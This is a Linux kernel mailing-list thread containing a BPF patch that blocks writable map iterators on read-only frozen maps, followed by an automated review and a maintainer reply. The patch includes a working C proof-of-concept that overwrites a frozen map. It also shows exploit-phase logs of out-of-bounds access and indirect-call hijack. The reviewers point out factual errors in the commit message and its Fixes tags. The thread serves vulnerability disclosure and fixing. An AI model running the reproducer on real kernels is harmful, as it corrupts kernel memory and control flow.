* [PATCH bpf] bpf: Reject writable map iterators on read-only and frozen maps
@ 2026-11-07 14:14 AdetsGithub
2026-11-07 14:49 ` bot+bpf-ci
2026-11-07 19:53 ` Alexei Starovoitov
0 siblings, 2 replies; 3+ messages in thread
From: AdetsGithub @ 2026-11-07 14:14 UTC (permalink / raw)
To: Yonghong Song, Alexei Starovoitov, Daniel Borkmann,
Andrii Nakryiko, Eduard Zingerman, Kumar Kartikeya Dwivedi
Cc: bpf, linux-kernel, Adethya Srinivasan
From: Adethya Srinivasan <adethyasrinivasan@outlook.com>
The bpf_map_elem and bpf_sk_storage_map iterators pass the live element
value (ctx->value) to the iterator program as a writable buffer
(PTR_TO_BUF | PTR_MAYBE_NULL) for all non-percpu map types. Since
commit 8d0358f6e8b3 ("bpf: Keep iterator programs off special map
fields"), bpf_iter_map_check_value_write() checks on Linux 7.4.0-rc1
whether a writable iterator program (prog->aux->max_rdwr_write > 0)
overlaps special BTF fields in map->record, but does not check whether
the target map has BPF_F_RDONLY_PROG set or has been frozen via
BPF_MAP_FREEZE (map->frozen).
As a result, a writable bpf_map_elem iterator can be attached to a
frozen BPF_F_RDONLY_PROG map (such as a .rodata BPF_MAP_TYPE_ARRAY or
BPF_MAP_TYPE_HASH) and triggered via read(iter_fd) to mutate its elements
in place after dependent BPF programs have already been verified.
Why this breaks verifier soundness:
1. Constant folding (check_map_load / const_fold.c): When
bpf_map_is_rdonly(map) is true ((map->map_flags & BPF_F_RDONLY_PROG)
&& READ_ONCE(map->frozen) && !bpf_map_write_active(map)), the verifier
folds direct loads from single-entry array maps into compile-time
scalar constants (__mark_reg_known). Overwriting the frozen element
via a bpf_map_elem iterator causes the runtime value to diverge from
the verifier's folded constant, bypassing bounds checks on pointer
arithmetic (PTR_TO_MAP_VALUE += scalar) in already-loaded programs
and enabling out-of-bounds map reads and writes.
2. Indirect subprogram calls (find_subprog / callx): Function pointer
tables in frozen BPF_F_RDONLY_PROG maps are resolved to live kernel
JIT addresses at load time. Mutating the frozen slot via a
bpf_map_elem iterator redirects indirect callx targets at runtime
(or crashes the kernel at an arbitrary RIP such as RIP = 0x0).
Threat model evaluation (Documentation/process/threat-model.rst):
Triggering this issue requires attaching a tracing iterator program
(BPF_PROG_TYPE_TRACING / BPF_TRACE_ITER), which requires CAP_BPF and
CAP_PERFMON (or CAP_SYS_ADMIN, or a delegated BPF token). In deployments
where CAP_BPF + CAP_PERFMON or a BPF token is granted without full root /
CAP_SYS_ADMIN, the BPF verifier is the boundary preventing out-of-bounds
kernel memory access and arbitrary kernel RIP control.
In bpf_iter_map_check_value_write(), return 0 early when
!prog->aux->max_rdwr_write so read-only iterators (such as bpftool map
dump) remain permitted, and reject maps with
(map->map_flags & BPF_F_RDONLY_PROG) or READ_ONCE(map->frozen) with
-EACCES before checking map->record.
Fixes: 8d0358f6e8b3 ("bpf: Keep iterator programs off special map fields")
Fixes: d3cc2ab546ad ("bpf: Implement bpf iterator for array maps")
Fixes: d6c4503cc296 ("bpf: Implement bpf iterator for hash maps")
Fixes: 5ce6e77c7edf ("bpf: Implement bpf iterator for sock local storage map")
Signed-off-by: Adethya Srinivasan <adethyasrinivasan@outlook.com>
---
Supporting Information (per Documentation/admin-guide/reporting-issues.rst):
1. Environment & Kernel Version
-------------------------------
- Kernel version: Linux 7.4.0-rc1
- Commit: a91337fb5e8e0127c8b5be87be9f3027f95b48bc (torvalds/linux master)
- Guest uname -a:
Linux (none) 7.4.0-rc1-ga91337fb5e8e-dirty #2 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
- Compiler & Linker:
gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0 / GNU ld (GNU Binutils for Ubuntu) 2.46
- Virtualization / Hardware:
QEMU/KVM x86_64 (QEMU Ubuntu 26.04 PC i440FX + PIIX, 4 vCPUs, 4 GiB RAM)
- Relevant Kernel Configuration:
CONFIG_BPF=y
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT=y
CONFIG_BPF_JIT_ALWAYS_ON=y
CONFIG_DEBUG_INFO_BTF=y
CONFIG_BPF_EVENTS=y
2. Kernel Oops / Panic Trace (Phase 3: callx slot poisoned with 0x0 via iter)
-----------------------------------------------------------------------------
When a frozen BPF_F_RDONLY_PROG array map holding resolved subprogram
addresses for callx is overwritten with 0x0 via an iter/bpf_map_elem
program, the next bpf_prog_test_run jumps to RIP = 0x0 in supervisor mode:
[ 2.206756] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 2.208642] #PF: supervisor instruction fetch in kernel mode
[ 2.210161] #PF: error_code(0x0010) - not-present page
[ 2.211586] PGD 0 P4D 0
[ 2.212467] Oops: Oops: 0010 [#1] SMP NOPTI
[ 2.213677] CPU: 2 UID: 0 PID: 131 Comm: test_progs Tainted: G OE 7.4.0-rc1-ga91337fb5e8e-dirty #2 PREEMPT(full)
[ 2.216684] Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE
[ 2.218417] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[ 2.221558] RIP: 0010:0x0
[ 2.222602] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
[ 2.224465] RSP: 0018:ffff9a1b40a47b40 EFLAGS: 00010202
[ 2.225995] RAX: ffffffffc0200768 RBX: ffff8fbb42073900 RCX: ffff8fbb42073900
[ 2.227953] RDX: 0000000000000246 RSI: 0000000000000000 RDI: 000000000000000a
[ 2.229738] RBP: ffff9a1b40a47b48 R08: 0000000000000000 R09: 0000000000000001
[ 2.231506] R10: 0000000000000001 R11: ffff8fbb42074448 R12: ffff9a1b401f2000
[ 2.233284] R13: ffff9a1b40a47be0 R14: ffff9a1b40a47bc8 R15: ffff8fbb40bd9800
[ 2.235046] FS: 00007fd7dbc82940(0000) GS:ffff8fbbe5d7e000(0000) knlGS:0000000000000000
[ 2.236977] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2.238445] CR2: ffffffffffffffd6 CR3: 000000010321c004 CR4: 0000000000770ef0
[ 2.240044] PKRU: 55555554
[ 2.240624] Call Trace:
[ 2.241129] <TASK>
[ 2.241590] bpf_prog_201991bb12c96cf7_main_prog+0x28/0x2a
[ 2.242674] bpf_test_run+0x1ff/0x440
[ 2.243403] ? bpf_test_run+0x11f/0x440
[ 2.244194] bpf_prog_test_run_skb+0x634/0xba0
[ 2.245117] ? lock_release+0xd1/0x2e0
[ 2.245885] __sys_bpf+0x11d7/0x3260
[ 2.246622] ? anon_pipe_write+0x2ce/0x730
[ 2.247437] ? __x64_sys_bpf+0x30/0x40
[ 2.248194] __x64_sys_bpf+0x30/0x40
[ 2.248933] do_syscall_64+0xb2/0x550
[ 2.249679] ? __irq_exit_rcu+0x2f/0x130
[ 2.250480] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 2.264423] </TASK>
[ 2.264890] Modules linked in: bpf_testmod(OE)
[ 2.265785] CR2: 0000000000000000
[ 2.266455] ---[ end trace 0000000000000000 ]---
[ 2.267395] Kernel panic - not syncing: Fatal exception in interrupt
[ 2.283591] Kernel Offset: 0x12000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[ 2.285658] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---
3. Verification Output Before & After Patch
-------------------------------------------
A) Unpatched 7.4.0-rc1 (a91337fb5e8e) -- all 3 exploit phases succeed:
./test_progs -v -t frozen_rdonly_iter_write
F phase-1: syscall update after freeze denied (Operation not permitted)
F phase-1 CONFIRMED: wrote 0xdeadbeefcafebabe into frozen RDONLY_PROG ARRAY via bpf_map_elem iter
#171/1 frozen_rdonly_iter_write/phase1_iter_write_frozen:OK
F phase-2: victim accepted with frozen rdonly scalar known=0
F phase-2 CONFIRMED: accepted prog read data[1] after poisoning frozen rdonly offset 0->8 (verifier assumed constant 0)
F phase-2 control: reload with *ro==8 rejected (expected)
F phase-2 WRITE CONFIRMED: corrupted data[1]=0xdeadbeefcafebabe via under-bounded PTR_TO_MAP_VALUE
#171/2 frozen_rdonly_iter_write/phase2_const_scalar_oob:OK
F phase-3: resolved add1=ffffffffc0400720 add2=ffffffffc0400758
F phase-3: pre-hijack retval=13
F phase-3 CONFIRMED: callx hijack via iter write to frozen func-ptr map (retval 13->14).
#171/3 frozen_rdonly_iter_write/phase3_callx_hijack:OK
#171 frozen_rdonly_iter_write:OK
B) Patched 7.4.0-rc1 -- writable iterator rejected with -EACCES on all phases:
./test_progs -v -t frozen_rdonly_iter_write
F phase-1: syscall update after freeze denied (Operation not permitted)
libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
#171/1 frozen_rdonly_iter_write/phase1_iter_write_frozen:FAIL
F phase-2: victim accepted with frozen rdonly scalar known=0
libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
#171/2 frozen_rdonly_iter_write/phase2_const_scalar_oob:FAIL
F phase-3: resolved add1=ffffffffc020099c add2=ffffffffc02009cc
F phase-3: pre-hijack retval=13
libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
#171/3 frozen_rdonly_iter_write/phase3_callx_hijack:FAIL
4. Minimal Standalone C Reproducer (frozen_rdonly_iter_write.c)
---------------------------------------------------------------
Build: gcc -O2 -Wall frozen_rdonly_iter_write.c -lbpf -o frozen_rdonly_iter_write
Run: sudo ./frozen_rdonly_iter_write
/* SPDX-License-Identifier: GPL-2.0 */
#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <linux/bpf.h>
#ifndef BPF_F_RDONLY_PROG
#define BPF_F_RDONLY_PROG (1U << 7)
#endif
#define SAFE_VAL 0x11111111ull
#define POISON_VAL 0xdeadbeefcafebabeull
#define CTX_VALUE_OFF 24
#ifndef BPF_MOV64_REG
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn){ .code = BPF_ALU64 | BPF_MOV | BPF_X, .dst_reg = DST, .src_reg = SRC })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn){ .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = DST, .imm = IMM })
#define BPF_LDX_MEM(SZ, DST, SRC, OFF) \
((struct bpf_insn){ .code = BPF_LDX | (SZ) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF })
#define BPF_STX_MEM(SZ, DST, SRC, OFF) \
((struct bpf_insn){ .code = BPF_STX | (SZ) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn){ .code = BPF_JMP | (OP) | BPF_K, .dst_reg = DST, .off = OFF, .imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
((struct bpf_insn){ .code = BPF_LD | BPF_DW | BPF_IMM, .dst_reg = DST, .imm = (__u32)(IMM) }), \
((struct bpf_insn){ .imm = (__u32)((__u64)(IMM) >> 32) })
#define BPF_EXIT_INSN() \
((struct bpf_insn){ .code = BPF_JMP | BPF_EXIT })
#endif
static int load_poison_iter(void)
{
struct bpf_insn insns[] = {
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, CTX_VALUE_OFF),
BPF_JMP_IMM(BPF_JEQ, BPF_REG_1, 0, 3),
BPF_LD_IMM64(BPF_REG_2, POISON_VAL),
BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
LIBBPF_OPTS(bpf_prog_load_opts, opts,
.expected_attach_type = BPF_TRACE_ITER);
opts.attach_btf_id = libbpf_find_vmlinux_btf_id("bpf_map_elem",
BPF_TRACE_ITER);
if (opts.attach_btf_id <= 0)
return -1;
return bpf_prog_load(BPF_PROG_TYPE_TRACING, "poison_iter", "GPL",
insns, sizeof(insns) / sizeof(insns[0]), &opts);
}
int main(void)
{
LIBBPF_OPTS(bpf_map_create_opts, mopts, .map_flags = BPF_F_RDONLY_PROG);
LIBBPF_OPTS(bpf_iter_attach_opts, iopts);
union bpf_iter_link_info linfo = {};
__u32 key = 0;
__u64 val = SAFE_VAL, out = 0;
int map_fd = -1, prog_fd = -1, link_fd = -1, iter_fd = -1;
char buf[64];
int err, ret = 1;
ssize_t n;
map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, "f_ro", sizeof(key),
sizeof(val), 1, &mopts);
if (map_fd < 0)
return 1;
if (bpf_map_update_elem(map_fd, &key, &val, BPF_ANY) ||
bpf_map_freeze(map_fd))
goto out;
val = 0x22222222ull;
err = bpf_map_update_elem(map_fd, &key, &val, BPF_ANY);
if (!err)
goto out;
printf("[+] syscall update after freeze denied (%s)\n", strerror(errno));
prog_fd = load_poison_iter();
if (prog_fd < 0)
goto out;
linfo.map.map_fd = map_fd;
iopts.link_info = &linfo;
iopts.link_info_len = sizeof(linfo);
link_fd = bpf_link_create(prog_fd, 0, BPF_TRACE_ITER, &iopts);
if (link_fd < 0) {
printf("[+] link_create rejected on patched kernel: %s\n",
strerror(errno));
goto out;
}
iter_fd = bpf_iter_create(link_fd);
if (iter_fd < 0)
goto out;
n = read(iter_fd, buf, sizeof(buf));
if (n < 0)
goto out;
if (!bpf_map_lookup_elem(map_fd, &key, &out) && out == POISON_VAL) {
printf("[!] VULNERABLE: frozen rdonly map mutated to 0x%llx\n",
(unsigned long long)out);
ret = 0;
}
out:
if (iter_fd >= 0)
close(iter_fd);
if (link_fd >= 0)
close(link_fd);
if (prog_fd >= 0)
close(prog_fd);
if (map_fd >= 0)
close(map_fd);
return ret;
}
kernel/bpf/map_iter.c | 12 +++++++++---
1 file changed, 9 insertions(+), 3 deletions(-)
diff --git a/kernel/bpf/map_iter.c b/kernel/bpf/map_iter.c
index a58c148692e6..b9c2135a4b8c 100644
--- a/kernel/bpf/map_iter.c
+++ b/kernel/bpf/map_iter.c
@@ -100,15 +100,21 @@ static struct bpf_iter_reg bpf_map_reg_info = {
/*
* For an iterator that hands the live map value to the program as a writable
- * buffer: the verifier knows nothing of the map, so the special fields of the
- * value have to lie outside of what the program may write.
+ * buffer: the verifier knows nothing of the map, so read-only / frozen maps
+ * and special fields of the value have to be protected from writes.
*/
int bpf_iter_map_check_value_write(const struct bpf_prog *prog,
const struct bpf_map *map)
{
const struct btf_record *rec = map->record;
const struct btf_field *field;
u32 i;
- if (IS_ERR_OR_NULL(rec) || !prog->aux->max_rdwr_write)
+ if (!prog->aux->max_rdwr_write)
+ return 0;
+
+ if ((map->map_flags & BPF_F_RDONLY_PROG) || READ_ONCE(map->frozen))
+ return -EACCES;
+
+ if (IS_ERR_OR_NULL(rec))
return 0;
for (i = 0; i < rec->cnt; i++) {
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [PATCH bpf] bpf: Reject writable map iterators on read-only and frozen maps
2026-11-07 14:14 [PATCH bpf] bpf: Reject writable map iterators on read-only and frozen maps AdetsGithub
@ 2026-11-07 14:49 ` bot+bpf-ci
2026-11-07 19:53 ` Alexei Starovoitov
1 sibling, 0 replies; 3+ messages in thread
From: bot+bpf-ci @ 2026-11-07 14:49 UTC (permalink / raw)
To: adethyasrinivasan, yonghong.song, ast, daniel, andrii, eddyz87, memxor
Cc: bpf, linux-kernel, adethyasrinivasan, ast, andrii, daniel,
martin.lau, eddyz87, yonghong.song, mason, ihor.solodrai
[-- Attachment #1: Type: text/plain, Size: 7426 bytes --]
> bpf: Reject writable map iterators on read-only and frozen maps
TL;DR:
- Rejecting all frozen maps for writable iterators may change uapi behaviour;
BPF_F_RDONLY_PROG alone seems to close the hole
- Frozen check is racy: map_freeze() after attach still lets the iterator
write
- Fixes tags look wrong
> bpf: Reject writable map iterators on read-only and frozen maps
>
> The bpf_map_elem and bpf_sk_storage_map iterators pass the live element
> value (ctx->value) to the iterator program as a writable buffer
> (PTR_TO_BUF | PTR_MAYBE_NULL) for all non-percpu map types. Since
> commit 8d0358f6e8b3 ("bpf: Keep iterator programs off special map
> fields"), bpf_iter_map_check_value_write() checks on Linux 7.4.0-rc1
> whether a writable iterator program (prog->aux->max_rdwr_write > 0)
> overlaps special BTF fields in map->record, but does not check whether
> the target map has BPF_F_RDONLY_PROG set or has been frozen via
> BPF_MAP_FREEZE (map->frozen).
>
> As a result, a writable bpf_map_elem iterator can be attached to a
> frozen BPF_F_RDONLY_PROG map (such as a .rodata BPF_MAP_TYPE_ARRAY or
> BPF_MAP_TYPE_HASH) and triggered via read(iter_fd) to mutate its elements
> in place after dependent BPF programs have already been verified.
>
> Why this breaks verifier soundness:
> 1. Constant folding (check_map_load / const_fold.c): When
> bpf_map_is_rdonly(map) is true ((map->map_flags & BPF_F_RDONLY_PROG)
> && READ_ONCE(map->frozen) && !bpf_map_write_active(map)), the verifier
> folds direct loads from single-entry array maps into compile-time
> scalar constants (__mark_reg_known). Overwriting the frozen element
> via a bpf_map_elem iterator causes the runtime value to diverge from
> the verifier's folded constant, bypassing bounds checks on pointer
> arithmetic (PTR_TO_MAP_VALUE += scalar) in already-loaded programs
> and enabling out-of-bounds map reads and writes.
> 2. Indirect subprogram calls (find_subprog / callx): Function pointer
> tables in frozen BPF_F_RDONLY_PROG maps are resolved to live kernel
> JIT addresses at load time. Mutating the frozen slot via a
> bpf_map_elem iterator redirects indirect callx targets at runtime
> (or crashes the kernel at an arbitrary RIP such as RIP = 0x0).
>
> Threat model evaluation (Documentation/process/threat-model.rst):
> Triggering this issue requires attaching a tracing iterator program
> (BPF_PROG_TYPE_TRACING / BPF_TRACE_ITER), which requires CAP_BPF and
> CAP_PERFMON (or CAP_SYS_ADMIN, or a delegated BPF token). In deployments
> where CAP_BPF + CAP_PERFMON or a BPF token is granted without full root /
> CAP_SYS_ADMIN, the BPF verifier is the boundary preventing out-of-bounds
> kernel memory access and arbitrary kernel RIP control.
>
> In bpf_iter_map_check_value_write(), return 0 early when
> !prog->aux->max_rdwr_write so read-only iterators (such as bpftool map
> dump) remain permitted, and reject maps with
> (map->map_flags & BPF_F_RDONLY_PROG) or READ_ONCE(map->frozen) with
> -EACCES before checking map->record.
>
> Fixes: 8d0358f6e8b3 ("bpf: Keep iterator programs off special map fields")
> Fixes: d3cc2ab546ad ("bpf: Implement bpf iterator for array maps")
> Fixes: d6c4503cc296 ("bpf: Implement bpf iterator for hash maps")
> Fixes: 5ce6e77c7edf ("bpf: Implement bpf iterator for sock local storage map")
> Signed-off-by: Adethya Srinivasan <adethyasrinivasan@outlook.com>
>
The Fixes: tag 8d0358f6e8b3 ("bpf: Keep iterator programs off special map
fields") only added bpf_iter_map_check_value_write() as a check for special
BTF fields. It did not introduce the writable value buffer.
That buffer (PTR_TO_RDWR_BUF_OR_NULL for the value ctx arg) came from
a5cbe05a6673 ("bpf: Implement bpf iterator for map elements") for array and
hash maps, and from 5ce6e77c7edf for sk storage. The d3cc2ab546ad and
d6c4503cc296 tags are also indirect, since those commits did not expose a
writable value to programs.
Should the tags be:
Fixes: a5cbe05a6673 ("bpf: Implement bpf iterator for map elements")
Fixes: 5ce6e77c7edf ("bpf: Implement bpf iterator for sock local storage map")
with the 8d0358f6e8b3, d3cc2ab546ad and d6c4503cc296 tags dropped?
> diff --git a/kernel/bpf/map_iter.c b/kernel/bpf/map_iter.c
> --- a/kernel/bpf/map_iter.c
> +++ b/kernel/bpf/map_iter.c
[ ... ]
> @@ -109,7 +109,13 @@ int bpf_iter_map_check_value_write(const struct bpf_prog *prog,
> const struct btf_field *field;
> u32 i;
>
> - if (IS_ERR_OR_NULL(rec) || !prog->aux->max_rdwr_write)
> + if (!prog->aux->max_rdwr_write)
> + return 0;
> +
> + if ((map->map_flags & BPF_F_RDONLY_PROG) || READ_ONCE(map->frozen))
> + return -EACCES;
> +
> + if (IS_ERR_OR_NULL(rec))
> return 0;
>
> for (i = 0; i < rec->cnt; i++) {
Is rejecting every frozen map intended here? The READ_ONCE(map->frozen) test
changes uapi behaviour, since frozen alone has never made a map read-only for
BPF programs. include/uapi/linux/bpf.h says for BPF_MAP_FREEZE:
Write operations from eBPF programs are still possible for a frozen map.
check_map_access_type() takes write permission from bpf_map_flags_to_cap(),
which only looks at BPF_F_RDONLY_PROG and BPF_F_WRONLY_PROG. Both soundness
problems described in the commit message go through bpf_map_is_rdonly():
return (map->map_flags & BPF_F_RDONLY_PROG) &&
READ_ONCE(map->frozen) &&
!bpf_map_write_active(map);
That requires BPF_F_RDONLY_PROG, so the map_flags test alone closes the hole.
For example, an array or hash map created without BPF_F_RDONLY_PROG and then
frozen accepted a bpf_map_elem iterator that stores into ctx->value before this
patch. Now BPF_LINK_CREATE fails with -EACCES via:
bpf_iter_attach_map() -> bpf_iter_map_check_prog() ->
bpf_iter_map_check_value_write()
while any other tracing or XDP program can still write the same frozen map.
If the intent is to keep frozen maps from being written through iterators, the
check is only sampled at attach and link update, without map->freeze_mutex, and
attach does not raise map->writecnt. So map_freeze() run after the link is
created still succeeds:
mutex_lock(&map->freeze_mutex);
if (bpf_map_write_active(map)) {
err = -EBUSY;
...
WRITE_ONCE(map->frozen, true);
and the existing link keeps writing the frozen map on every read(iter_fd).
bpf_map_mmap() handles this by taking freeze_mutex and calling
bpf_map_write_active_inc() for writable mappings.
For the sk_storage iterator, bpf_local_storage_map_alloc_check() only allows
BPF_F_NO_PREALLOC | BPF_F_CLONE, so such a map never has BPF_F_RDONLY_PROG and
bpf_map_is_rdonly() is never true for it. The only change for that iterator is
the frozen-only rejection.
Should the check be limited to BPF_F_RDONLY_PROG, matching
check_map_access_type() and bpf_map_is_rdonly()? If rejecting frozen maps is
intended, would it need the same freeze_mutex / writecnt handshake that
bpf_map_mmap() uses, along with a rationale in the changelog?
---
AI reviewed your patch. Please fix the bug or email reply why it's not a bug.
See: https://github.com/kernel-patches/vmtest/blob/master/ci/claude/README.md
CI run summary: https://github.com/kernel-patches/bpf/actions/runs/42382469691
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [PATCH bpf] bpf: Reject writable map iterators on read-only and frozen maps
2026-11-07 14:14 [PATCH bpf] bpf: Reject writable map iterators on read-only and frozen maps AdetsGithub
2026-11-07 14:49 ` bot+bpf-ci
@ 2026-11-07 19:53 ` Alexei Starovoitov
1 sibling, 0 replies; 3+ messages in thread
From: Alexei Starovoitov @ 2026-11-07 19:53 UTC (permalink / raw)
To: AdetsGithub, Yonghong Song, Daniel Borkmann, Andrii Nakryiko,
Eduard Zingerman, Kumar Kartikeya Dwivedi
Cc: bpf, linux-kernel
On Sat, Nov 07, 2026 at 06:14 AM AdetsGithub <adethyasrinivasan@outlook.com> wrote:
> The bpf_map_elem and bpf_sk_storage_map iterators pass the live element
> value (ctx->value) to the iterator program as a writable buffer
> (PTR_TO_BUF | PTR_MAYBE_NULL) for all non-percpu map types. Since
Way too long.
With CAP_BPF and CAP_PERFMON an iterator prog writes into a frozen
BPF_F_RDONLY_PROG array.
The verifier treats the content of such array as constants.
That's all that needs to be said.
check_map_load() doesn't exist.
bpftool map dump doesn't use iterators.
> Fixes: 8d0358f6e8b3 ("bpf: Keep iterator programs off special map fields")
> Fixes: d3cc2ab546ad ("bpf: Implement bpf iterator for array maps")
> Fixes: d6c4503cc296 ("bpf: Implement bpf iterator for hash maps")
> Fixes: 5ce6e77c7edf ("bpf: Implement bpf iterator for sock local storage map")
Wrong tags.
8d0358f6e8b3 only added a check.
sk_storage maps cannot have BPF_F_RDONLY_PROG.
Keep d3cc2ab546ad and d6c4503cc296. Drop the other two.
Don't add a5cbe05a6673 that bpf-ci proposed. In that commit
bpf_iter_check_map() returns -EINVAL for every map.
> B) Patched 7.4.0-rc1 -- writable iterator rejected with -EACCES on all phases:
> ./test_progs -v -t frozen_rdonly_iter_write
Pls add a selftest as patch 2. Not this one. It fails on a fixed kernel.
dump_bpf_array_map() in progs/bpf_iter_bpf_array_map.c writes into
ctx->value. Attach it to an array with BPF_F_RDONLY_PROG, like
"attach_oob_write_iter" in test_bpf_sk_storage_map().
The attach succeeds today. With the fix it returns -EACCES.
> + if ((map->map_flags & BPF_F_RDONLY_PROG) || READ_ONCE(map->frozen))
> + return -EACCES;
bpf-ci is right.
BPF_MAP_FREEZE stops the writes from the syscall side only.
Progs can write into a frozen map.
See BPF_MAP_FREEZE in uapi/linux/bpf.h.
bpf_map_is_rdonly() needs BPF_F_RDONLY_PROG, so the flag alone closes
the hole. The flag never changes, so there is no race with map_freeze().
Drop the map->frozen part here and in the comment.
pw-bot: cr
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-11-07 19:53 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-11-07 14:14 [PATCH bpf] bpf: Reject writable map iterators on read-only and frozen maps AdetsGithub
2026-11-07 14:49 ` bot+bpf-ci
2026-11-07 19:53 ` Alexei Starovoitov
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®